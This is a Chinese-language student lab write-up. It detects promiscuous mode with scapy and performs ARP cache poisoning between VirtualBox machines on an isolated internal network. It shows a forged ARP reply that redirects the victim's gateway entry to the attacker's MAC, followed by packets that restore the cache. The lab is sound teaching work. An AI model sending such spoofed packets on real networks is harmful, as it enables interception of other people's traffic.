使用第一次实验中的internalNetwork1的lihanGatewayDebian、lihanVictimKali1以及新配置的lihanAttackerKaliChap4

确定在攻击者主机上提前安装好 scapy 并更新
pip3 install scapy[complete]

ip link show eth0

输出结果里没有出现PROMISC字符串,未开启混杂模式
scapy 发送 ARP 请求包,获取局域网中的主机信息sudo scapy
pkt = promiscping("172.16.111.102")

sudo ip link set eth0 promisc on

此时会发现输出结果里多出来了 PROMISC
scapy 发送 ARP 请求包,获取局域网中的主机信息pkt = promiscping("172.16.111.102")

sudo ip link set eth0 promisc off
使用wireshark分析:

promiscping命令会发送ARP who-has 请求,且没有指定目的主机的MAC地址,只有受害者主机开启混杂模式后,才能收到该请求包。
arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst="172.16.111.1")
# 查看构造好的 ARP 请求报文详情
arpbroadcast.show()

recved = srp(arpbroadcast, timeout=2)

gw_mac = recved[0][0][1].hwsrc
gw_mac

arpspoofed=Ether()/ARP(op=2, psrc="172.16.111.1", pdst="172.16.111.102", hwdst="08:00:27:ef:48:19")
arpspoofed.show()

sendp(arpspoofed)


发现网关的 MAC 地址已被「替换」为攻击者主机的 MAC 地址
restorepkt1 = Ether()/ARP(op=2, psrc="172.16.111.1", hwsrc="08:00:27:63:cd:72", pdst="172.16.111.102", hwdst="08:00:27:93:2e:67")
sendp(restorepkt1, count=100, inter=0.2)

restorepkt2 = Ether()/ARP(op=2, pdst="172.16.111.1", hwdst="08:00:27:63:cd:72", psrc="172.16.111.102", hwsrc="08:00:27:93:2e:67")
sendp(restorepkt2, count=100, inter=0.2)

ping 192.168.0.1
ip neigh

解决
在联网搜索及浏览上次实验时的笔记后,了解到,Vbox中不需要专门配置switch或者hub,多种网络模式分别对应着不同的网络拓扑结构,虚拟出了switch等,根据需要选择即可。实验中需要的网络拓扑,选择Internal Network(内部网络)即可。
lihanAttackerKaliChap4的网卡时,发现不能获取ip地址。解决
发现是因为自己没有开机Gateway主机,开机后,攻击主机可以获取到ip地址。